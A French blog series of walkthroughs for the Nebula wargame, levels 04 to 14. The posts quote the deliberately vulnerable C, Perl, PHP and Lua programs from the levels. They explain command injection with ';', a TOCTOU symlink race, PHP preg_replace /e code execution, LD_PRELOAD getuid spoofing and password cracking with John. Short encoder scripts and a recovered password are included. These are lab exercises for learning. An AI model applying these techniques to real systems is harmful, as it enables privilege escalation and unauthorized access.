vendredi 24 juillet 2015

Nebulla - level 14

Bonjour,

Nous voila au niveau 14 qui semble différent de loin. On nous demande ici :

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
To do this level, log in as the level14 account with the password level14. Files for this level can be found in /home/flag14.

Ici nous n'avons pas de source uniquement un fichier exécutable qui va encrypter des données passé en paramètre ainsi qu'un fichier crypter qui doit reprendre l'algo utilisé par le programme précédent. Donc il va simplement comprendre comment fonctionne l’encryption ici. Le test le plus simple sera d'écrire plusieurs fois le même caractère. On va donc tester ca :


On peut assez simplement comprendre le fonctionnement de l'algo qui va dépendre de la taille en s'incrémentant après chaque caractère. On va donc créer un simple mini logiciel pour decrypter le fichier token qui contient notre clef :

 
Je vous donne le petit programme basique ici :

#include <stdio.h>
#include <string.h>

int
main(int ac, char **av) {
 int i;

 i = -1;
 while (++i < strlen(av[1]))
  printf("%c", av[1][i] - i);
 printf("\n");
 return (0);
}

Et voila donc l'utilisation du password que l'on a récupérer :

Rien de très compliqué on pourrait tenter de reverse le programme pour comprendre l'algo mais parfois avec un simple test très basique on peut trouver le fonctionnement d'un programme.


Nebulla - level 13

Bonjour,

Nous allons faire ce niveau 13 donc sans plus tarder voyons ce qu'on nous donne ici :

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
To do this level, log in as the level13 account with the password level13. Files for this level can be found in /home/flag13.
 
Donc nous avons aussi un fichier source relativement simple :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

Donc avec ce code source on voit assez rapidement que si on execute le programme il va avoir du mal à passer le premier test. Notre uid sera différent du uid demandé et donc nous sommes stop par cette simple condition :

#define FAKEUID 1000
if(getuid() != FAKEUID)

Comme l'indique ma démonstration notre id de base est à 1014 :



La technique que l'on va utiliser ici est toute simple on va simplement changer la fonction getuid() du système par notre propre fonction et pour ça on va devoir modifier une variable qui va permettre de simplement pouvoir forcer la librairie utiliser lors de l'exécution de  notre programme. Donc on va déjà créer notre fonction qui va remplacer getuid :

#include <sys/types.h>

uid_t getuid(void) { return (1000); }

Nous allons ensuite compiler cette lib avec gcc et différent flag qui vont permettre de rendre cette libraire utilisable. On va enfin adapté notre LD_PRELOAD pour forcer l'utilisation de la librairie et on va enfin lancer notre exécutable. Si tout fonctionne on va avoir alors un password que l'on va devoir utiliser pour se log et enfin récupérer notre flag :



Je vous conseil de bien comprendre ce procéder puisqu'il est fort utile dans ce genre de cas. On peut trouver pas mal d'exemple et d'explication sur le net.

jeudi 23 juillet 2015

Nebulla - level 12

Bonjour,

Ce niveau est pour le coup très simple on va voir ca avec ce qu'on nous demande dans un premier temps :
There is a backdoor process listening on port 50001.
To do this level, log in as the level12 account with the password level12. Files for this level can be found in /home/flag12.
Donc on apprend qu'une backdoor tourne sur le port 50001 avec le script indiqué coder en lua :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

On va simplement lancer netcat dans le but de se connecter à cette backdoor et voir ce qu'elle fait.


Sans savoir programmer du tout en lua on peut comprendre assez simplement qu'un password est demandé. Ce password alors passe par une fonction hacher notre mot de passe via une fonction system. Le soucis vient ici du fait que la fonction va utiliser notre password sans faire de checking pour savoir ce que je vais lui envoyer donc il suffit simplement que je lui envoie un password avec une commande du système (la commande sera séparé du password par un simple ; (note je pourrais aussi utiliser |) et j'aurais fait mon job. Ça ressemble a un niveau précédent :


Rien de bien compliqué comme vous pouvez le voir.

Nebulla - level 11

Bonjour,

Voici le niveau 11 donc voici ce que l'on nous donne :
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both :-)
To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.
À la différence des autres niveaux ici on nous encourage à faire ce niveau avec les 2 possibilités donc nous allons faire ce qu'ils nous demandent ! Voici la source :

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Donc dans un premier temps on peut voir que le programme sera assez basique ici une simple série de test pour (si ceux-ci n'ont pas fail) utiliser la fonction system sur le buffer utilisé dans la fonction process. La commande envoyé dans le buffer va passer par un algorithme basique appelé simplement `Stream cipher` (généralement utilisé dans l’encryption de flux de donné) avec un petit xor. Ce sera utile pour la suite. Voici un test basique pour voir que le programme fonctionne bien :


La première manière de faire ici sera de prendre ce petit programme et de rechercher l'algorithme utilisé pour encrypter notre string à l'envers de l’algorithme donné. Il se situe simplement avant le lancement de la fonction system :


  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

Donc on va devoir connaître la taille de notre commande ainsi que la commande en elle même jusque là on aura pas de soucis. On doit faire en sorte que la commande ne de dépasse pas 1024 bytes ici sinon le checking de fread va nous empêcher d'avancer. La commande au passage ne doit pas se terminer par un caractère nul comme normalement. Donc on va dans un premier temps encoder notre commande et simplement l'afficher dans un programme basique. Je vais coder un exemple en C et un autre en python mais le résultat sera identique dans tout les cas :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void
process(char *buff, int length){
    unsigned int    key;
    int        i;

    i = 0;
    key = length & 0xff;
    while (i < length)
    {
        buff[i] ^= key;
        key -= buff[i] ^ key;
        i++;
    }
}


int 
main(void){
    char    buffer[1024];

    strncpy(buffer, "getflag", 1024);
    process(buffer, 1024);
    puts("Content-Length: 1024");
    fwrite(buffer, 1, 1024, stdout);
    return 0;
}

Voici donc le second code en python :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python

cmd = "getflag\x00"
size= 1024
key = size & 0xff

encrypted = ""
for i in range(len(cmd)):
    enc = (ord(cmd[i]) ^ key) & 0xff;
    encrypted += chr(enc)
    key = (key - ord(cmd[i])) & 0xff

print "Content-Length: " + str(size) + "\n" + encrypted + "A"*(size - len(encrypted))


Voici donc le résultat la commande est bien exécuté le soucis vient ici uniquement du programme en lui même puisque lorsque le call de system est fait il n'y a pas de seting d'uid donc il va logiquement utilisé celui de lanceur de l'action qui ne sera logiquement pas le flag ici mais le level il aurait fallut utiliser donc les fonctions setresuid/setresgi pour résoudre ce soucis. J'ai set la variable d'environement TEMP vers /tmp pour ne plus avoir le message d'erreur dût au fd créer en mode random.

La seconde façon de faire sera de jouer simplement avec LD_PRELOAD ainsi que les fonctions que l'on va pouvoir alors override.. Je vous laisser chercher à ce niveau ce sera pas bien compliqué !

Nebulla - level 10

Bonjour,

On commence à entrer dans des niveaux où le fun arrive. A partir de ce niveau la compréhension du code C est obligatoire. Vous pouvez bien entendu tenter de comprendre ma solution mais je vous encourage vivement si vous êtes perdu à simplement vous documentez (ou a posez vos questions). L'ip que je vais utiliser sera bien entendu mon ip local ici (192.168.1.43)Je vais tenter d'expliquer au mieux de la manière la plus simple (à mes yeux) tout en étant technique. Voici ce que l'on nous demande ici :
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.
On nous donne aussi un fichier source C plutôt évolué ici sans forcement être compliqué pour autant :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

Nous avons aussi un fichier token disponible dans la racine du flag de disponible mais sans droit en lecture :

On voit que le programme va demander deux arguments ici un fichier un host pour se connecter (sur le port 18211). Ensuite un test pour se connecter à l'host puis si connecter une écriture sur le fd (qui est le socket de l'host donné en paramètre donc). Une fois tout ça passé le contenu du fichier passé en paramètre sera alors read puis write sur le fd du socket donc. Et enfin un petit message pour dire que tout est bon.

Le programme est pas bien compliqué le seul soucis ici sera lié au moment de lancer les deux lignes suivante :

if(access(argv[1], R_OK) == 0
ffd = open(file, O_RDONLY);

En effet par le man on peut comprendre simplement qu'il y a un gros soucis ici je cite donc :
 Utiliser access pour vérifier si un utilisateur a le droit, par exemple, d'ouvrir un fichier avant d'effectuer réellement l'ouverture avec open(2), risque de créer un trou de sécurité. En effet, l'utilisateur peut exploiter le petit intervalle de temps entre la vérification et l'accès pour modifier le fichier (via un lien symbolique en général).
On est exposé ici à une faille relativement connu du simple nom de TOCTOU qui va implicitement nous faire utiliser le principe du race condition.

Sachant que nous sommes ici dans un cas bien réel de race condition ainsi que dans une utilisation d'un programme qui va se connecter en réseau nous allons devoir utiliser netcat qui va nous faciliter la tâche je vous invite à tenter de comprendre de ce logiciel qui est indispensable à comprendre. Je vais utiliser un peu de shell basique histoire de simplement gagner du temps.Voici un test basique pour voir que tout fonctionne bien dans des fichiers sans restriction :



Donc voila le résultat du premier test basique avec un fichier dont on a les droits maintenant avec un fichier sans droit :



Maintenant nous allons dans l'ordre créer un link forcer (via -f) depuis notre fichier token vide vers un fichier link token donc et nous allons link le fichier token sur lequel nous n'avons aucun droit vers ce même link le tout en boucle infini. Pour ça je vais utiliser une commande assez basique :


Nous allons ensuite lancer un client netcat en mode serveur en boucle en ayant une redirection sur sa sortie vers un fichier (ici du nom de out) :


Et enfin voici le programme lancé lui aussi en boucle infini avec le fichier relink en boucle :




Après quelques seconde une simple lecture du fichier out va nous donner le contenu du fichier token.


Il suffit alors d'utiliser le mot de passe que l'on a pour récupérer notre flag !


mercredi 22 juillet 2015

Nebulla - level 09

Bonjour,

Nous allons aujourd'hui voir un niveau un peu plus complexe qui va demandé d'avoir des notions de PHP. Donc avant tout je vous conseil d'apprendre à comprendre au minimum les bases puisqu'elles seront utile ici.
Voyons ce qu'il faut faire ici :
 There’s a C setuid wrapper for some vulnerable PHP code…
To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

On voit devoir donc comprendre le code PHP qui nous est donné ici :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Le premier truc que l'on peut remarquer est l'utilisation de deux fonctions. La première fonction sera appelé par la seconde qui elle même sera appelé par les arguments passé au lancement du script . On faire un listing voir s'il y a un truc qu'on aurait pu ne pas voir : 


Donc rien de magique ici à faire tout est indiqué. On va donc devoir trouver une manière d'exploiter le programme normalement. On va pour le moment simplement lancer le programme pour voir s'il fait ce qu'on pense :

Rien de bien farfelu on va donc tenter de comprendre ce qui n'est pas normal dans le code que l'on pourrait exploiter. Nous allons regarder une ligne en particulier puisqu'il s’agit simplement de la ligne qui va call la première fonction de notre script :

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
Avec un peu d’expérience on peut penser à une faille XSS le soucis simple ici c'est qu'on ne peut et surtout ne doit pas utiliser de javascript. On va donc utiliser ce principe pour pouvoir exécuter la fonction que l'on souhaite On peut voir qu'il existe une fonction system qui risque de nous être utile pour notre exploitation. On va donc avoir besoin ici de notre fichier contenant notre script qui va modifier simplement l’exécution du script en notre faveur. Ce qu'il faut penser ici ( et c'est en réalité le seul soucis) ce sera d'escape les valeurs situé dans notre fichier pour que celle-ci soient bien interprété. Je ne vais pas vous montrer le nombre de test que j'ai fais puisque pour le coup ce sera mieux pour voir que vous les fassiez dans votre coin (par exemple la premier test sera d'afficher un simple phpinfo()). Je vais simplement vous montrer ma manière de résoudre ce niveau assez simplement :


Donc j'ai simplement utilisé la fonction system qui permet d’exécuter une commande du système et je lui ai donné pour argument la second variable que je passe dans le lancement du programme. Je peux donc par la suite exécuter la commande de mon choix (ici un shell) et faire ce que j'ai besoin. Le reste ne sera simplement que dans le but de rendre le code lisible par PHP (donc de l'escape).

Ce niveau peut sembler étrange pour les personnes n'ayant pas forcément de bonne notion en PHP et pour celle-ci je conseil vivement de se mettre à jour puisque vous allez vite le remarquer mais lorsque l'on va vouloir exploiter dans le web en général le PHP sera un pré-requis au minimum pour la compréhension du fonctionnement du langage

mardi 21 juillet 2015

Nebulla - level 08

Bonjour,

Nous allons voir maintenant ce niveau 8. Vous aurez besoin d'utiliser quelques outils mais nous allons dans un premier temps voyons voir ce qu'on nous demande !


Pas grand-chose donc je vais donc tenter de me log pour faire un listing si on peut avoir une petit idée.



On peut voir un fichier ayant une extension particulière ici. Après quelques recherche sur google on peut voir qu'il s’agit en réalité d'un fichier ayant en contenu une simple trame de réseau. Une liste de packet qu'on va devoir tenter de comprendre (avoir des notions en protocole tcp/ip peut être utile ici).
Je vais utiliser le logiciel Wireshark pour traiter ce fichier spécifique mais pour ça je vais avoir besoin du fichier en question et pour récupérer celui-ci je vais utiliser un autre petit logiciel qui permet de faire du transfert de fichier depuis un serveur ssh nommé `scp`. Je vous encourage à comprendre son fonctionnement.



Voilà le fichier étant sur notre disque nous pouvons l'ouvrir maintenant via Wireshark. A partir d'ici je vais aller un peu plus rapidement et donc si vous souhaiter apprendre à utiliser ce logiciel de façon plus complète il faudra le faire de votre coté.
Une fonction bien sympathique dans ce logiciel permet de voir la communication entre deux clients (dans la trame donné) en raw (c'est à dire sans encodage ou autre juste lisible en 'plain text').
Pour ça un simple clique droit sur un packet de notre choix suffit (il faudra choisir dans le menu l'option Follow TCP Stream). Voici ce que vous devriez voir :


J'ai choisis l'affichage hexadécimal puisque ca va nous permettre de voir les actions qui ont pu avoir été faite dans un format lisible.En cherchant un petit peu on peut trouver un truc qui semble un petit plus intéressant:


On peut voir assez clairement le password mais une chose est étrange ici des caractères lisibles mais à un moment précis on voit une coupure ce qui n'est pas vraiment normal. Pas mal d'entre vous ont sûrement vu des caractères étrange á gauche de chaque caractère lisible la liaison pour le coup est assez simple puisqu'en réalité il s'agit simplement de la représentation ascii. Lorsque l'on regarde via une table sur le net on peut voir que le caractère hexadécimal 7F est simplement un simple DEL qui n'est rien d'autre qu'un backspace qui permet d'effacer le caractère précédent.
La suite logique revient à prendre ce password (`backd00Rmate`) et l'utiliser pour récupérer le flag en se connectant en ssh grâce à celui-ci :


Ce niveau était plutôt sympa on a pu simplement trouver un password dans un fichier contenant une trame réseau. On pourrait très bien avoir un équivalant de ce fichier en live via du sniffing basique. En réalité ce ne serais pas si simple puisque le réseau utilise souvent des données qui seront crypté (par SSL par exemple). On peut comprendre maintenant l'importance de SSL en général (même si on a vu que très peu de chose pour le moment).
Si vous avez des questions il ne faut pas avoir peur de demander puisque les choses vont devenir petit à petit de plus en plus compliquer.

Nebulla - level07

Bonjour,

Nous allons voir maintenant ce niveau 7 qui va demander de comprendre les bases en programmation Perl. Rien de bien compliqué un script est fourni ici.Voici déjà ce qu'on nous demande de faire :
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

Et donc logiquement voici la source du fameux petit script Perl :


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Dans un premier temps je vais voir ce qu'il y a sur le serveur et comme indiqué tout est présent avec un fichier supplémentaire qui sera utile pour la suite :


Je vous conseil au passage de tenter de comprendre à quoi celui-ci sert avant que je vous l'explique moi même. Donc dans ce programme on peut voir qu'il va prendre un paramètre Host et que celui-ci sera utilisé pour faire un simple ping on va donc simplement tester celui-ci :

On va tenter maintenant de lancer ce programme en lui donnant un paramètre vide simplement pour voir ce qu'il nous répond :

Pour les plus curieux qui auront été voir le man ou même simplement qui auront test la commande ping sans paramètre ils se seront rendu compte qu'en réalité il s’agissait ici d'un ping call du système en lui même. La suite logique sera de tester un `getflag` avec le fameux ; (qui est l’équivalent du `&&` que l'on a pu voir avant). 
Tiens ça ne fonctionne pas.. On va devoir passer par autre chose. Vous vous souvenez du fichier que l'on a pas tellement regardé en réalité celui-ci est un fichier de configuration d'un simple server. On va donc récupérer ce que l'on va avoir besoin ici c'est à dire le port pour l'utiliser et rien de plus je vous invite quand même à tenter de comprendre un peu plus en détail ce fichier.


 
On nous indique donc qu'un server tourne sur le port 7007. Je vais devoir ici utiliser un nouveau petit programme qui va nous permettre de faire nos requêtes via une ligne de commande. Wget sert à beaucoup de chose et comprendre son utilisation sera important pour la suite. Donc voici une utilisation très basique de ce petit programme :

Un simple ping sur l'ip 127.0.0.1 est fait ce qui nous indique que le serveur fonctionne bien ! Enfin pour terminer il suffit simplement de récupérer notre flag sans oublier le caractère d’échappement puisqu'ici nous utilisons wget et que celui-ci va interpréter notre ' ;'. Voici donc le résultat :
Nous avons réussis à comprendre des petites notions en plus dont surtout l'utilisation (certes basique mais utile pour la suite) de wget. Je vous invite à tenter de refaire ce challenge mais dans le but cette fois-ci de récupérer un shell pour pouvoir taper la commande de notre choix (dont getflag) ce sera une approche différente du problème mais ce ne sera pas vraiment plus compliqué .

Nebulla - level06

Bonjour,

Nous allons voir ce niveau 06 pour le challenge Nebulla maintenant donc dans un premier temps on va voir ce qu'on nous indique :

The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.

Durant l'ancien temps (pas si vieux que ça en réalité) le système unix stockait ses password dans /etc/passwd visible par tout le monde ils ont par la suite évolué et sont passé dans le fichier /etc/shadow où ils sont limité d’accès en laissant dans /etc/passwd les password disponible pour l'utilisateur uniquement de celui-ci.
On peut donc logiquement aller chercher dans ce fichier pour voir s'il peut contenir des choses qui pourraient nous servir pour la suite :



On peut clairement voir une ligne qui est différente du reste écrit d'une façon assez `old-school`. 


Puisque cette ligne contient clairement un password que l'on va avoir besoin on va devoir utiliser un logiciel pour cracker le dit mot passe dans le but d'avoir celui-ci en clair donc. Pour cela je vais utiliser le bon vieux john que est disponible sur pas mal de site.


Une fois le password récupérer il va suffire simplement de l'utiliser via ssh : 


Voilà rien de bien compliqué encore une fois un simple logiciel ici sera utile que je vous conseil de comprendre puisqu'il sera surement utile pour la suite !

lundi 20 juillet 2015

Nebulla - level05

Bonjour,

Aujourd'hui nous allons commencer par ce niveau06 qui est très simple vous aller voir ! On va déjà voir ce que l'on doit faire:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05

Bon ça semble pas compliquer on doit en gros regarder un dossier pas commun donc on va faire le truc le plus simple un petit `ls` pour voir ce que l'on peut trouver :



On peut voir deux dossiers un ,backup qui contient un fichier ,tgz qui n'est rien d'autre qu'un fichier compressé. Je vous invite à découvrir la commande `tar` qui permet de faire tout un tas de chose ! Ici on va simplement en avoir besoin pour extraire le fichier que l'on a trouvé ! Donc voici le contenu :


On peut voir ici que l'on a extrait des fichiers contenu dans un dossier .ssh . Partant de la on peut s'amuser à regarder le contenu de chaque fichier mais ça ne va pas vraiment nous avancer pour le moment. La compréhension du ssh ici est nécessaire pour continuer. Via divers link on peut apprendre qu'en réalité ici on a une configuration ancienne ssh on va donc simplement copier tout ça dans la racine de notre home et ensuite on va simplement tenter de ssh via l'ancienne config mis en place !


Et voila rien de bien sorcier ici! On a pu voir qu'en réalité garder un backup d'une config pour un serveur ssh est rarement un bon plan (de cette façon du moins). On a pu apprendre à utiliser la commande `tar`.


dimanche 19 juillet 2015

Nebulla - level04

Bonjour,

Nous allons commencer par ce petite level04 qui est pour le coup assez simple. On va pour le moment lire ce que l'on nous donne :
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
Dans un premier temps faut simplement comprendre comment marche le programme que l'on nous donne. On a de la chance ici on a la source il suffit juste donc de lire et de comprendre celle-ci. Je vais tenter d'expliquer le plus important : 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

On va commencer par lire depuis le début donc :

if(strstr(argv[1], "token") != NULL)

 Je ne vais pas parler du début du programme qui va simplement faire un checking des arguments passé en paramètre du programme. Nous allons surtout voir ce qui commence par le test sur la fonction `strstr` qui par le man nous indique qu'en gros on va voir si la string passer en second paramètre est contenu dans la première string (passé en paramètre de la fonction). On peut donc conclure qu'ici on regarde si le nom du fichier passer en argument va contenir le mot token dans son nom. Rien de bien compliqué jusqu'ici. On continu donc :


fd = open(argv[1], O_RDONLY);
rc = read(fd, buf, sizeof(buf)); 

`Open` et `read` sont deux fonctions qui vont simplement ouvrir et lire le fichier que l'on aura passé en paramètre. Des tests sont fait pour éviter d'avoir des erreurs de droits d’aces ou pour simplement éviter des actions sur un fichier qui n'existe simplement pas.

 write(1, buf, rc);
Voilà donc la fin qui va simplement écrire dans la sortie standard via la fonction `write` le contenu du fichier une fois que tout les tests n'ont pas échoué.Voici donc un exemple de test d'utilisation du programme :


Comme prévu on se retrouve avec une erreur. Je vais vous apprendre une nouvelle notion ici assez simple mais que je n'ai pas eut besoin d'utiliser jusqu'ici. Il s'agit de la commande `ln` qui permet en gros de faire une liaison d'un fichier vers un autre. Une sorte de raccourci sous Windows mais en évolué. Je vous invite a lire le man de cette fameuse commande puisqu'elle risque d’être utile par la suite.

On aimerait afficher le contenu du fichier token ce qui n'est pas possible. Le trick ici sera de créer un raccourci sur lequel nous avons les droits vers ce fichier token pour le lire depuis un fichier du nom de notre choix. Une fois l’opération terminé il suffit simplement de lancer le programme puis de se log via la commande `su` pour accéder donc à notre flag :
Et voila le tour est joué rien de compliqué si on prend le temps de comprendre le code source donné. Les choses ici à retenir sont vraiment lié à la compréhension des choses demandé ainsi que la commande `ln` qui pour le coup est vraiment utile.